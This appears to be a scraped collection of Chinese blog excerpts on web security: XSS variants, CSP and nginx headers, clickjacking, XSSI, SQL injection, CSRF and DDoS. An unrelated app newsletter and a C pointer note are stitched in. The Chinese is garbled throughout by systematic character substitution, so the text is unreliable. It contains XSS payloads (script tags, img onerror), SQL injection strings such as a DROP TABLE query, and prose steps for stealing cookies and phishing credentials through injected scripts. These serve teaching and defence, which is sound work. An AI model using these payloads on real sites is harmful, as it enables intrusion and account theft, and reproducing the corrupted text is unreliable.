Xss

原理页面渲染的数据中蕴含可运行的脚本。 类型攻打的根底类型包含：反射型（url参数间接注入）和存储型（存储到DB后读取时注入）。 注入点HTML节点内容注入el.innerHTML = "<script>alert(1);<\/script>";下面的代码不会失效，如果你在浏览器控制台运行就会看见： '\x3Cscript>alert(1);\x3C/script>'应该是对script这种非凡的标签进行了本义。 诱惑用户触发el.innerHTML = "<button onclick='alert(1)'>点击我</button>";和很多办法相似，如果用户被动触发一次，就能够了（有些操作须要被动用户触发，不然没有权限）。 DOM属性注入比方，在加载图片失败的时候，会调用该元素上的onerror事件，那么咱们就能够利用图片加载失败的回调触发： el.innerHTML = "<img src='/images-404.png' onerror='alert(\"图片加载失败，该我触发了～\");'>";进攻X-XSS-Protection浏览器自带防御机制，当初支流浏览器都反对，并且默认都开启了XSS爱护，用这个header能够敞开它。它有几种配置： 0：禁用XSS爱护；1：启用XSS爱护；1：mode=block：启用XSS爱护，并在查看到XSS攻打时，进行渲染页面（例如IE8中，查看到攻打时，整个页面会被一个#替换）。 对特定字符做本义比方如果须要innerHTML的模板中蕴含script等敏感标签，就把标签本义。 内容安全策略也就是CSP（Content Security Policy），用于指定哪些内容可执行。 咱们能够在http响应头中设置Content-Security-Policy，比方，咱们有如下的需要： 图片能够从任何中央加载(留神 "*" 通配符)多媒体文件仅容许从 media1.com 和 media2.com 加载(不容许从这些站点的子域名)可运行脚本仅容许来自于 userscripts.example.com如此就能够这样设置： Content-Security-Policy: default-src 'self'; img-src *; media-src media1.com media2.com; script-src userscripts.example.com同时meta中也反对设置Content-Security-Policy： <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

本周刊记录乏味好玩的独立产品设计开发相干内容，每周公布，往期内容同样精彩，感兴趣的搭档能够点击订阅我的周刊。为保障每期都能收到，倡议邮件订阅。欢送通过 Twitter 私信举荐或投稿。春节后的第一期来了，过年出去玩了，鸽了一期周刊，这周也算是新的一年开始了，往年会持续给大家分享一些我每周看到的好玩乏味赚钱不赚钱的产品。 产品举荐1. LEMO FM-白乐音、放松、专一、深度睡眠是一款比拟拟物格调的白乐音 APP，它能够播放各种十分经典的、高质量的白乐音，比方：下雨、篝火、森林等，2023年1月6日上线，7 天之后就被苹果官网 App Store 收录到「每周编辑举荐」的第 1 位。这类产品也很适宜独立开发者来做，优质的设计，包装一个白乐音的性能。难看就会有人买单。能够看看作者@启徒弟公布的文章介绍：LEMO FM：做了个APP，上线7天就被苹果举荐了！！ 2. Mgreader - 外刊这个网站收录了很多最新的外刊，练习英语的好中央。也能够下载下来看。 3. Camarts Photography作者 @dandyweng 上周公布的 APP ，适配了 iPad 和 iPhone，是用来整合作者本人兴趣爱好的集体我的项目——旅行、摄影、设计和编程。它是一个影集，展现在环游世界旅途中的摄影作品。这里有对于这个产品的具体介绍。PS：每天在朋友圈看到 Dandy 寰球各地游览摄影，照片拍的的确很不错。 4. Cerulean - 小工具合集iOS 上的多种小性能整顿，极致简洁。在 Android 上见到过很多这类实用小工具，这个做的也是十分全。 5. Tailor - Screenshot Stitching 长截图工具屏幕长截图工具用过很多个，这个 APP 做的交互很有意思，关上 APP 会主动帮你辨认最近的截图，会有直观的动效，间接保留即可，少了几步操作，体验做的十分好。是一个很不错的工具。 6. Moonly App — The Moon Calendar文章内容，难看的插画，冥想，塔罗牌，月亮占星术，这些可能看似很小众的货色，然而用户却很多，这个产品增长十分快，也很容易被苹果官网举荐。这也是上周美国今日举荐的APP。上周也看到了苹果编辑举荐的5款占星术APP。 7. Copilot: Track & Budget Money苹果举荐聚焦开发者栏目，上周介绍了 CoPilot 产品团队的这个我的项目，金融资金治理APP，可视化你资金流向，它的 AI 算法在机器学习的驱动下，特地善于主动对交易进行分类。记账这个品类是很多开发者的练手我的项目，用户群体也十分多，产品有本人的特点也会受到苹果的举荐基本还是要认真做出产品差别。 ...

背景有人问了个问题：这个不是XSS反射型破绽？为什么？ 而后他发了个录屏给我看。 录屏次要内容是上面这样的： 失常在网站搜寻什么，search接口就会返回搜寻到的数据列表。 比方在网站中搜寻"xss"，search接口就返回几条xss相干的数据。 他是这样做的： 他在网站中输出了"xss"，而后通过fiddler工具，把这个search接口的响应内容改了。 比方在其中的一条数据，嵌入了XSS攻打代码。 比方上面的代码： <img src='x' onerror='alert(/ice/);'/>而后他看到网站弹窗了，就感觉本人胜利的找到了XSS破绽，而且是反射型破绽。 我说：其实，这个不是XSS反射型破绽。 详情： https://mp.weixin.qq.com/s?__... 有问题可群征询：https://public-1253796280.cos...

有任何问题都能够留言征询。 定义再了解什么是xss反射型破绽？ 这里有个核心思想，指的是用户输出了什么，那响应的内容必定会包含什么。 比方用户输出了"testxss"，那响应的内容中，必定要包含"testxss"。 如果响应的内容中不包含"testxss"，那这个就不属于xss反射型破绽了。 闭合标签攻击方式服务端渲染网上很多例子，讲的根本是服务端渲染下的xss破绽攻打。 比如说通过双引号闭合属性，进行xss攻打的例子，说的根本是服务端渲染，而不是客户端渲染，比方vue的客户端渲染。 Demo页面拜访：http://localhost:3001/?name="><img%20src=x%20onmouseover=alert(1) 此时服务端会把name的值："><img%20src=x%20onmouseover=alert(1)，赋予给模板解释，而后再返回给浏览器端渲染。 代码如下所示： 详情 请查看原文。 https://mp.weixin.qq.com/s?__... 有问题可群征询：https://public-1253796280.cos...

nginx配置内容安全策略csp的代码举例问题形容工作中，咱们做好我的项目当前，要公布到服务器上，供用户应用。不过为了我的项目平安，还是须要应用http协定自带的安全策略规定,去进行相应的配置，以避免他人应用一些脚本去攻打咱们的我的项目（跨站脚本攻打Cross-Site Script，即XSS） 所以本篇文章举例记录一下nginx中如何配置（如何在申请头中加上csp）对于Content-Security-Policy概念咱就不赘述了，详见官网文档：https://developer.mozilla.org... 业务场景比方我做的我的项目中，有以下资源须要从内部引入： 我的项目中应用了jquery脚本，从cdn.bootcdn.net拿过去的我的项目中应用了内部css款式，从cdn.bootcss.com拿过去的我的项目中应用了内部的图片，好几个网站的都有我的项目中也应用了内部的媒体资源音频，好几个网站的都有 要求： 除了这两个网站cdn.bootcdn.net、cdn.bootcss.com的脚本和样式表能拜访，别的一律回绝。只有不是这两个网站的，都拒接拜访，那必定不好攻打咱们的我的项目了呗对于图片资源和媒体资源不做限度（因为图片媒体资源并不太好攻打我的项目，js脚本倒是有肯定的危险）nginx代码配置http { include mime.types; default_type application/octet-stream; sendfile on; keepalive_timeout 65; server { listen 80; server_name localhost; # 全局配置资源拜访规定-除本人外全禁了（前面写的除外） # 容许应用内联资源，内联脚本啥的 # data的URIs和blob流文件啥的也都能够拜访的，就是这一块不怎么限度，这个倒是没事的 # 这个基本上弃用了，加上吧，不妨 add_header Content-Security-Policy "default-src 'self'; script-src 'self' https://cdn.bootcdn.net https://cdn.bootcss.com 'unsafe-inline' 'unsafe-eval'; connect-src * 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; media-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; frame-src *; style-src * 'unsafe-inline'; worker-src * data: blob: 'unsafe-inline';"; # 脚本资源拜访规定-只放行本人，外人全禁用（下面这两个网站的脚本容许拜访呢） # 容许应用eval函数 # 所有图片资源都放行容许拜访 # 所有媒体资源都放行容许拜访 # 所有字体资源都放行容许拜访 # 款式文件资源都放行 # 工作的资源都放行，不加就报错！得加上呢！ location / { try_files $uri $uri/ /index.html; root C:/nginx-1.18.0/html/personmanage/dist; index index.html index.htm; } location /api/ { proxy_pass http://localhost:10000/; } }}留神： ...

文章不易，请关注公众号 毛毛虫的小小蜡笔，多多反对，谢谢 github clone首先是把我的项目克隆到本地，执行如下命令：git clone https://github.com/s0md3v/XSStrike此时可用编辑器关上XSStrike我的项目。 装置依赖包而后就是执行装置依赖包命令。通过python的命令来装置，在XSStrike根目录执行如下命令：pip3 install -r requirements.txt执行过程如下图所示： 详情 请查看：毛毛虫的小小蜡笔

文章不易，请关注公众号 毛毛虫的小小蜡笔，多多反对，谢谢。 概述clickjacking，中文叫点击劫持。是一种在网页中将恶意代码等暗藏在看起来平安的内容之下，并诱使用户点击的伎俩。 比方，用户收到一封蕴含一段视频的电子邮件，但其中的“播放”按钮并不是真正的播放视频，而是链入一购物网站。当用户点击“播放”按钮，理论是被诱骗进入了一个购物网站。 可简略的了解，clickjacking就是攻打网站嵌套了失常网站。 Demo代码如下所示： // 攻打网站<head> <meta charset="utf-8"> <title>clickjacking</title></head><body> <p>攻打网站</p> <iframe src="http://localhost:3001/clickjacking.html"></iframe></body>// 失常网站<head> <meta charset="utf-8"> <title>clickjacking</title></head><body> <p>失常网站</p></body>成果如下截图所示： 进攻根本就是怎么避免网站被他人嵌套。 CSP的frame-ancestors指令frame-ancestors指令，能够限定被嵌套网站的域名，协定等，如果不合乎则网站不会被加载。 比方在失常网站设置指定域名： app.use((req, res, next) => { res.append('Content-Security-Policy', "frame-ancestors 'self'"); // 其余代码...});成果如下截图所示： 须要留神的是，CSP的frame-ancestors指令，可代替旧的X-Frame-Options HTTP headers。 window.self和window.top的判断通过window.self和window.top来判断，如果不相等，则很大可能是被嵌套了。 window.self，返回一个指向以后 window 对象的援用。 window.top，返回窗口层级最顶层窗口的援用。 window.parent，返回以后窗口的间接父对象。 最初文章不易，请关注公众号 毛毛虫的小小蜡笔，多多反对，谢谢。有疑难和问题，请留言。如果感觉文章还能够，请点赞或珍藏，谢谢。

一、概述Cross-site scripting，简称XSS，跨站脚本攻打。XSS是一种网站应用程序的安全漏洞攻打，是代码注入的一种。它容许歹意用户将代码注入到网页上，其余用户在浏览网页的时候，就会受到影响。 二、反射型XSS - Reflected XSS用户在页面的输出，通过http申请发送到服务端，服务端解决后，把用户输出原封不到返回到浏览器，浏览器也没做解决间接把用户输出显示到页面种。 1 示例：代码 // 服务端(koa2)router.get('/search', async (ctx, next) => { let req = ctx.request ctx.state = { title: 'xss', word: req.query.word } ctx.body = req.query.word ? req.query.word : ''})成果： 但当在URL输出<script>alert('xss')</script>的时候，就被攻打了。 个别多产生在服务端渲染(如下面的示例)以及浏览器端通过js间接渲染到页面($('#search').html(res.data))的状况 三、存储型XSS - Stored XSS相比反射型，存储型则是把用户输出存储起来了。可想而知影响范畴大很多。 这里就不演示了，有趣味可看看驰名的萨米XSS蠕虫攻打。 该蠕虫用JavaScript实现，利用贮存型XSS破绽流传。它在每个被感化的用户页面显示一行字串“but most of all, samy is my hero”，并将本人复制在该用户页面。当新的用户点击被感化的用户页面时，就会触发该程序在用户的浏览器中运行，导致蠕虫进一步流传，在该新用户主页上再度复制。在短短20小时内，从2005年10月4日公布起，超过一百万的用户都运行了该程序。这让该作者的账户在该社交网络上的关注量指数级增长，并让萨米蠕虫成为历史上传播速度最快的计算机病毒。四、基于DOM的XSS - DOM Based XSS反射型和存储型都必须通过服务端，但基于DOM的XSS则不必，间接在浏览器端攻打。 1 示例：代码 <head> <meta charset="utf-8"> <title>dom based xss</title></head><body> <script> document.write("正在拜访的网站是: " + decodeURIComponent(location.href)); </script></body>成果： 但当在URL输出#<script>alert('xss')</script>的时候，就被攻打了。 这种就是间接在浏览器端发动的攻打，没通过服务端。 最初公众号《毛毛虫的小小蜡笔》有疑难和问题，请留言。 ...

一、XSS破绽简介 XSS（Cross Site Script）即跨站脚本，攻击者通过在指标网站上注入歹意脚本，使之在用户的浏览器上运行。利用这些歹意脚本，攻击者可获取用户的敏感信息如 Cookie、SessionID等。总而言之，前端能做的事件它都能做到。XSS可分为反射型，存储型和DOM型。 二、XSS分类反射型XSS：反射型XSS也被称为非持久性XSS，是当初最容易呈现的一种XSS破绽。当用户拜访一个带有XSS代码的URL申请时，服务器端接收数据后处理，而后把带有XSS代码的数据发送到浏览器，浏览器解析这段带有XSS代码的数据后，最终造成XSS破绽。存储型XSS：存储型XSS又被称为持久性XSS，存储型XSS是最危险的一种跨站脚本。容许用户存储数据的WEB应用程序都可能会呈现存储型XSS破绽，当攻击者提交一段XSS代码后，被服务器端接管并存储，当再次拜访页面时，这段XSS代码被程序读取响应给浏览器，造成XSS跨站攻打，这就是存储型XSS。DOM型XSS：传统类型的XSS破绽（反射型或存储型）个别呈现在服务器端代码中，而DOM XSS是基于DOM文档对象模型的一种破绽，所以，受客户端浏览器的脚本代码所影响。 三、XSS破绽利用1.Cookie劫持常见的XSS破绽利用形式有Cookie劫持，个别Cookie中保留了用户的登录凭证。如果Cookie泄露，则能够间接登录进用户的账号。具体的攻打步骤： 1.用户登录2.攻击者坑骗用户拜访带XSS payload的URL3.用户申请攻击者的URL4.在用户浏览器执行近程js，将cookie发送给攻击者5.攻击者利用cookie进入用户账号通过param变量注入xss payload，xss payload加载近程脚本。脚本中将cookie发送到近程服务器。后续也能够在近程服务器的web日志中查看到。在不确定是否存在XSS注入点时，防止Cookie劫持的办法：1.给要害的Cookie植入Httponly标识；2.Cookie与客户端IP绑定。验证给Cookie植入Httponly标识的成果： 2.结构GET与POST申请通过js，让浏览器发动GET、POST申请，实现各种操作。结构GET申请：通过插入图片，图片的src为GET申请的URL。结构POST申请：1.结构form表单，并提交；2.通过XMLHttpRequest发送POST申请。 3.钓鱼通过param变量注入xss payload，xss payload加载近程脚本。脚本中结构一个登录框，表单提交时将账号密码发送到攻击者服务器上。 4.辨认浏览器及插件信息收集用户的浏览器版本信息，扩充攻击面。通过js读取浏览器的userAgent对象辨认浏览器版本，查问navigator.plugins对象获取插件信息。因为破绽环境的限度，包含辨认用户装置软件、查看用户拜访网站、获取用户实在IP、蠕虫等利用形式不做复现。XSS结构和绕过的技巧也不做阐明。可自行查找做理解。 四、XSS的进攻进攻XSS攻打的计划，次要有两种，1.输出查看；2.输入查看。输出查看：对传入参数进行格局校验，并对特殊字符进行过滤或本义。因为输出数据的应用场景不同，过滤或本义可能会影响理论的业务应用。同时XSS攻打产生的地位并不是参数传入的地位，可能存在脱漏。输入查看：对返回给浏览器的输入后果进行HTML实体化编码。对JavaScript输入的用户可控数据进行本义。此外还能够应用Vue、Angular、React等前端开发框架自带的XSS防御机制。DOM型XSS的进攻须要留神，触发点可能不止一个，须要对每个地位都做编码解决。在script标签中产生xss：在document.write输入到html页面产生xss： 五、Self XSSSelf XSS指的是用户本人输出XSS payload，且输入仅本人可见的XSS问题，通常独自的Self XSS是不可利用的，但通过CSRF（跨站申请伪造）、点击劫持等组合攻打就可能把Self XSS利用起来。所以即便是Self XSS也倡议做好修复，防止被组合利用造成危害。 对代码感兴趣的，关注公众号“吴花果的吴花火”，输出”xss“获取xss实例代码的下载链接。

什么是XSS？Cross-Site Scripting（跨站脚本攻打）简称 XSS，是一种代码注入攻打。攻击者通过在指标网站上注入歹意脚本，使之在用户的浏览器上运行。利用这些歹意脚本，攻击者可获取用户的敏感信息如 Cookie、SessionID 等，进而危害数据安全。 产生起因通常页面中蕴含的用户输出内容都在固定的容器或者属性内，以文本的模式展现。攻击者利用这些页面的用户输出片段，拼接非凡格局的字符串，冲破原有地位的限度，造成了代码片段。攻击者通过在指标网站上注入脚本，使之在用户的浏览器上运行，从而引发潜在危险。 如何解决解决办法：通过 HTML 本义，能够避免 XSS 攻打。用escapeHTML将< > & " '转成字符实体 ， unescapeHTML将字符实体转成< > & " ' 应用场景：（1）用户在页面中录入（比方输入框） <script>alert(2);</script>， js将该内容提交给后端保留 （2）显示时，后端将字符串返回前端；js接管到之后： 应用escapeHTML，将字符串转为 <script>alert(2);</script>此时，浏览器将能正确解析，因为浏览器接管到实体字符后，转成对应的尖括号等。不应用escapeHTML，浏览器一看到<，便认为是html标签的开始，间接把方才的字符串当脚本执行了，这就是xss破绽。然而，做了 HTML 本义，并不等于居安思危。对于链接跳转，如 <a href=“xxx” 或 location.href=“xxx”，要测验其内容，禁止以 javascript: 结尾的链接，和其余非法的 scheme。 XSS 有哪些注入的办法： 在 HTML 中内嵌的文本中，歹意内容以 script 标签造成注入。在内联的 JavaScript 中，拼接的数据冲破了本来的限度（字符串，变量，办法名等）。在标签属性中，歹意内容蕴含引号，从而冲破属性值的限度，注入其余属性或者标签。在标签的 href、src 等属性中，蕴含 javascript: 等可执行代码。在 onload、onerror、onclick 等事件中，注入不受控制代码。在 style 属性和标签中，蕴含相似 background-image:url(“javascript:…”); 的代码（新版本浏览器曾经能够防备）。在 style 属性和标签中，蕴含相似 expression(…) 的 CSS 表达式代码（新版本浏览器曾经能够防备）。

前言：网络安全攻击方式有很多种，其中包含XSS攻打、SQL注入攻打、URL篡改等。那么XSS攻打到底是什么?XSS攻打有哪几种类型?明天小编为大家解说一下。　什么是XSS攻打?XSS攻打又称为跨站脚本，XSS的重点不在于跨站点，而是在于脚本的执行。XSS是一种经常出现在Web应用程序中的计算机安全漏洞，是因为Web应用程序对用户的输出过滤有余而产生的，它容许歹意web用户将代码植入到提供给其它用户应用的页面中。 XSS攻打有哪几种类型?常见的XSS攻打有三种：反射型XSS攻打、DOM-based型XSS攻打、存储型XSS攻打。 第一种：反射型XSS攻打反射型XSS攻打个别是攻击者通过特定手法，诱使用户去拜访一个蕴含恶意代码的URL，当受害者点击这些专门设计的链接的时候，恶意代码会间接在受害者主机上的浏览器执行。此类XSS攻打通常呈现在网站的搜寻栏、用户登录口等中央，罕用来窃取客户端Cookies或进行钓鱼坑骗 第二种：DOM-based型XSS攻打客户端的脚本程序能够动静地检查和批改页面内容，而不依赖于服务器端的数据。例如客户端如从URL中提取数据并在本地执行，如果用户在客户端输出的数据蕴含了歹意的JavaScript脚本，而这些脚本没有通过适当的过滤或者消毒，那么应用程序就可能受到DOM-based型XSS攻打。 须要特地留神以下的用户输出源document.URL、location.hash、location.search、document.referrer等。 第三种：存储型XSS攻打攻击者当时将恶意代码上传或者贮存到破绽服务器中，只有受害者浏览蕴含此恶意代码的页面就会执行恶意代码。这意味着只有拜访了这个页面的访客，都有可能会执行这段歹意脚本，因而存储型XSS攻打的危害会更大。此类攻打个别呈现在网站留言、评论、博客日志等交互处，歹意脚本存储到客户端或者服务端的数据库中。

前言：大家好，明天给大家介绍一下，Web平安畛域常见的一些平安问题。 1. SQL 注入SQL注入攻打的外围在于让Web服务器执行攻击者冀望的SQL语句，以便失去数据库中的感兴趣的数据或对数据库进行读取、批改、删除、插入等操作，达到其邪恶的目标。 而如何让Web服务器执行攻击者的SQL语句呢？SQL注入的惯例套路在于将SQL语句搁置于Form表单或申请参数之中提交到后端服务器，后端服务器如果未做输出平安校验，间接将变量取出进行数据库查问，则极易中招。举例如下： 对于一个依据用户ID获取用户信息的接口，后端的SQL语句个别是这样： select name,[...] from t_user whereid=$id其中，$id就是前端提交的用户id，而如果前端的申请是这样： GET xx/userinfo?id=1%20or%201=1其中申请参数id本义后就是1 or 1=1，如果后端不做平安过滤间接提交数据库查问，SQL语句就变成了： select name,[...] from t_user whereid=1or1=1其后果是把用户表中的所有数据全副查出，达到了黑客泄露数据的目标。 以上只是一个极简略的示例，在实在的SQL注入攻打中参数结构和SQL语句远比这简单得多，不过原理是统一的。 2. XSS 攻打XSS全称跨站脚本攻打（Cross Site Scripting），为了与重叠样式表CSS辨别，换了另一个缩写XSS。 XSS攻打的外围是将可执行的前端脚本代码（个别为JavaScript）植入到网页中，听起来比拟拗口，用大白话说就是攻击者想让你的浏览器执行他写的JS代码。那如何办到呢？个别XSS分为两种： 反射型1、攻击者将JS代码作为申请参数搁置URL中，诱导用户点击 示例： http://localhost:8080/test?name=<script>alert("you are under attack!")</script>2、用户点击后，该JS作为申请参数传给Web服务器后端 3、后端服务器没有查看过滤，简略解决后放入网页注释中返回给浏览器 4、浏览器解析返回的网页，中招！ 存储型上述形式攻打脚本间接经服务器转手后返回浏览器触发执行，存储型与之的区别在于可能将攻打脚本入库存储，在前面进行查问时，再将攻打脚本渲染进网页，返回给浏览器触发执行。常见的套路举例如下： 1、攻击者网页回帖，帖子中蕴含JS脚本 2、回帖提交服务器后，存储至数据库 3、其余网友查看帖子，后盾查问该帖子的回帖内容，构建残缺网页，返回浏览器 4、该网友浏览器渲染返回的网页，中招！ 3. CSRF 攻打CSRF，跨站申请伪造，其核心思想在于，在关上A网站的状况下，另开Tab页面关上歹意网站B，此时在B页面的“教唆”下，浏览器发动一个对网站A的HTTP申请。这个过程的危害在于2点： 1、这个HTTP申请不是用户被动用意，而是B“教唆的”，如果是一个危害较大的申请操作（发邮件？删数据？等等）那就麻烦了 2、因为之前A网站曾经关上了，浏览器存有A下发的Cookie或其余用于身份认证的信息，这一次被“教唆”的申请，将会主动带上这些信息，A网站后端分不清楚这是否是用户实在的志愿 4. DDoS 攻打DDoS全称Distributed Denial of Service：分布式拒绝服务攻打。是拒绝服务攻打的升级版。回绝攻打服务顾名思义，让服务不可用。罕用于攻打对外提供服务的服务器，像常见的： Web服务 邮件服务 DNS服务 即时通讯服务 ......攻击者一直地提出服务申请，让非法用户的申请无奈及时处理，这就是 DoS 攻打。 攻击者应用多台计算机或者计算机集群进行 DoS 攻打，就是 DDoS 攻打。 在晚期互联网技术还没有那么发达的时候，发动DoS攻打是一件很容易的事件：一台性能强劲的计算机，写个程序多线程一直向服务器进行申请，服务器应接不暇，最终无奈解决失常的申请，对别的失常用户来说，看上去网站貌似无法访问，拒绝服务就是这么个意思。 起初随着技术对倒退，当初的服务器早已不是一台服务器那么简略，你拜访一个www.baidu.com的域名，背地是数不清的CDN节点，数不清的Web服务器。 这种状况下，还想靠单台计算机去试图让一个网络服务满载，无异于鸡蛋碰石头，对方没趴下，本人先趴下了。 ...

微信公众号：[前端一锅煮]一点技术、一点思考。问题或倡议，请公众号留言。最近网站遭逢了一次 CSRF 攻打，短信调用接口被第三方调用导致收回大量有效短信，起初通过接口签名和 IP 封禁解决。明天就来具体学习下前端畛域的平安问题。 Web 利用中存在很多平安危险，这些危险会被攻击者利用，轻则篡改网页内容，重则窃取网站外部数据，更为严重的则是在网页中植入恶意代码，使得用户受到侵害。常见的安全漏洞如下： XSS 攻打：对 Web 页面注入脚本，应用 JavaScript 窃取用户信息，诱导用户操作。CSRF 攻打：伪造用户申请向网站发动歹意申请。钓鱼攻打：利用网站的跳转链接或者图片制作钓鱼陷阱。HTTP 参数净化：利用对参数格局验证的不欠缺，对服务器进行参数注入攻打。近程代码执行：用户通过浏览器提交执行命令，因为服务器端没有针对执行函数做过滤，导致在没有指定绝对路径的状况下就执行命令。XSSXSS（cross-site scripting 跨域脚本攻打）攻打是最常见的 Web 攻打，其重点是『跨域』和『客户端执行』。 XSS 攻打个别分为两类：Reflected XSS（反射型的 XSS 攻打）和 Stored XSS（存储型的 XSS 攻打）。 Reflected XSS反射型的 XSS 攻打，次要是因为服务端接管到客户端的不平安输出，在客户端触发执行从而发动 Web 攻打。比方：在某购物网站搜寻物品，搜寻后果会显示搜寻的关键词。搜寻关键词填入<script>alert('handsome boy')</script>，点击搜寻。页面没有对关键词进行过滤，这段代码就会间接在页面上执行，弹出 alert。此攻打须要用户触发执行。 进攻措施：不要信赖用户的任何输出，对用户输出全副做过滤解决。本义 <>、过滤掉双引号，单引号，阻止靠元素属性来触发事件执行脚本。 Stored XSS基于存储的 XSS 攻打，是通过提交带有歹意脚本的内容存储在服务器上，当其他人看到这些内容时发动 Web 攻打。个别提交的内容都是通过一些富文本编辑器编辑的，很容易插入危险代码。存在于网页的数据库内，不须要用户触发。 进攻措施：不信赖用户的输出，可对属性、域名做过滤，后端不可信赖前端输出，须要再次过滤。 JSONP XSSJSONP 的 callback 参数十分危险，他有两种危险可能导致 XSS。 callback 参数意外截断 js 代码，特殊字符单引号双引号，换行符均存在危险。callback 参数歹意增加标签（如 <script> ），造成 XSS 破绽。进攻措施：限度 callback 函数名词最长 50 个字符，callback 函数名只容许 [, ]，a-zA-Z0123456789_, $，.，避免个别的 XSS，utf-7 XSS等攻打。 ...

p->prior->nextmeaning:设p->prior指向q,q为p的前驱节点;那么p->prior->next就等于q->next,p->prior->next就等于q的后驱指针域 scanf()函数从输出流缓冲区中读取值的,而读取时遇到回车(\n)而完结的. 带空格的scanf(" %c")示意要从输出流缓冲区读两个字符,一个给空格,一个给%c. 为什么加空格呢,是因为回车符(\n)也在输出流缓冲区中,所以将\n赋值给空格,以让%c被正确赋值. 否则,不加空格,回车符\n会被赋值给%c. 所以不加空格,字符输出会出问题. *符号有两种含意, 1.在指针未被赋值或初始化时,作为"指针说明符" 2.在指针曾经有指向后,作为"取内容符" 指针的定义有两种模式: int a=101;int *p;p=a;2.int a=101;int p=&a;

一.XSSI破绽原理同源策略 同源策略是Web应用程序平安模型中最根本也是最外围的策略。 当初所有反对JavaScript的浏览器都会应用这个策略。 所谓同源是指，域名，协定，端口雷同。 同源策略规定,不同源的客户端脚本(javascript、ActionScript)在没明确受权的状况下，不能读写对方的资源。 此策略可避免一个页面上的歹意脚本通过该页面的Document Object Model拜访另一网页上的敏感数据。 为了满足同源策略，浏览器对不同拜访行为进行了限度，限度规定个别如下： XSSI原理 XSSI破绽全称为跨站脚本蕴含破绽，攻击者通过应用<script>标签（所有带src或href属性的标签以及局部其余标签能够跨域）跨域蕴含特定文件/页面 能够窃取合乎JavaScript格局的文件中的敏感信息。攻击者会将可泄露用户信息的JavaScript文件蕴含进来。 这里获取的指标数据，即敏感信息，大抵分为几类： 认证凭据CSRF token用户个人信息等XSSI、XSS、CSRF的区别 XSS 攻打是指攻击者在网站上注入歹意的客户端代码，通过歹意脚本对客户端网页进行篡改，从而在用户浏览网页时，对用户浏览器进行管制或者获取用户隐衷数据的一种攻击方式。 攻击者对客户端网页注入的歹意脚本个别包含 JavaScript，有时也会蕴含 HTML 和 Flash。 有很多种形式进行 XSS 攻打，但它们的共同点为：将一些隐衷数据像 cookie、session 发送给攻击者，将受害者重定向到一个由攻击者管制的网站，在受害者的机器上进行一些歹意操作 CSRF（跨站申请伪造），指假冒用户发动申请（在用户不知情的状况下）,实现一些违反用户志愿的申请（如歹意发帖，删帖，改明码，发邮件等）通常来说CSRF是由XSS实现的，所以CSRF时常也被称为XSRF[用XSS的形式实现伪造申请]。 XSS更偏差于代码实现（即写一段领有跨站申请性能的JavaScript脚本注入到一条帖子里，而后有用户拜访了这个帖子，这就算是中了XSS攻打了），CSRF更偏差于一个攻打后果，只有发动了冒牌申请那么就算是CSRF了 而XSSI（跨站申请蕴含）是XSS的一种模式，即浏览器不会阻止网页加载图像和文字等资源，这些资源通常托管在其余域和服务器。 例如，如果abc银行有一个脚本用于读取用户的私人账户信息，攻击者能够在其本人的歹意网站蕴含这个脚本，当abc银行的客户拜访攻击者的网站时，攻击者就能够从abc银行的服务器提取用户信息。 从外表上看，XSSI和CSRF看起来很类似，因为在这两种状况下，申请都是从歹意页面发送到另一个域的，并且在两种状况下，申请都是在登录用户的上下文中执行的。 要害区别在于指标。 在CSRF中，攻击者心愿在受害者页面内执行歹意操作，例如在网上银行应用程序中进行转帐。 在XSSI中，攻击者想要跨域泄露数据，以便再执行攻打。 与jsonp劫持的关系 jsonp劫持等利用js对插入函数进行插入恶意代码，将敏感数据发送到攻击者的服务器，实际上就是对存在jsonpjack持守入侵的网页进行发动一次申请，让其受害者客户端执行插入的恶意代码 而xssi次要获取服务器为每个客户端生成的动静js文件中的敏感数据，达到信息定向的目标，这种信息可能包含用户的登录凭证，重大可导致任意用户账号接管。 二.XSSI破绽利用以及POCXSSI通常辨别为三种状况。 然而利用形式是类似甚至是雷同的(就像反射与存储的XSS)。咱们能够将三种状况辨别如下： 动态JavaScript（惯例XSSI） 间接拜访该js即可获取敏感信息，但个别都是攻打认证后蕴含敏感信息的js 假如敏感内容设定在一个全局变量中，如上面的事实例子： var privateKey ="-----BEGIN RSA PRIVATE KEY-----....-----END RSA PRIVATE KEY-----", keys =[{ name:'Key No 1', apiKey:'0c8aab23-2ab5-46c5-a0f2-e52ecf7d6ea8', privateKey: privateKey },{ name:'Key No 2', apiKey:'1e4b8312-f767-43eb-a16b-d44d3e471198', privateKey: privateKey }];利用POC： ...

Web 平安曾经是 Web 开发中一个重要的组成部分，而许多程序猿往往心愿专一于程序的实现，而疏忽了信息安全的本质。如果没有谨严地思考到信息安全问题，等出了乱子之后反而会造成更重大的损失。所以要在开发网络应用时更重视 Web 平安，甚至致力成为一个白帽黑客。 常见 Web 信息安全一般来说 Web 平安须要合乎三点平安因素： 保密性：通过加密等办法确保数据的保密性完整性：要求用户获得的材料是残缺而不可被篡改的可用性：保障网站服务的继续可拜访性以下是常见的影响 Web 平安的攻打伎俩： 1. SQL注入应用歹意的 SQL 语法去影响数据库内容： // “--” 是 SQL 语句的正文符号/user/profile?id=1";DROP TABLE user--SELECT * FROM USER WHERE id = "1"; DROP TABLE user--用户登录： // password" AND 1=1-- SELECT * FROM USER WHERE username = "Mark"; AND 1=1-- AND PASSWORD="1234"简略的防备伎俩：不信赖用户输出的数据，确保用户输出必须通过查看，目前许多成熟的 Web 框架都反对ORM 服务，大部分都根本防备了 SQL 注入。 2. XSS（Cross-Site Scripting）XSS 也很容易将恶意代码植入到网页，让看到网页的用户受到烦扰，常见的重灾区包含BBS、留言板等。实际上 XSS 的概念很简略，通过表单输出建设一些歹意网址、歹意图片网址或把 JavsScript 代码注入到 HTML中，当用户浏览页面时就会被触发。 <IMG SRC="" onerror="alert('XSS')">更多对于XSS材料能够参考 XSS Filter Evasion Cheat Sheet（https://www.owasp.org/index.p...）。另外也有中文版（链接是乌云镜像备份，顺便思念一下） ...

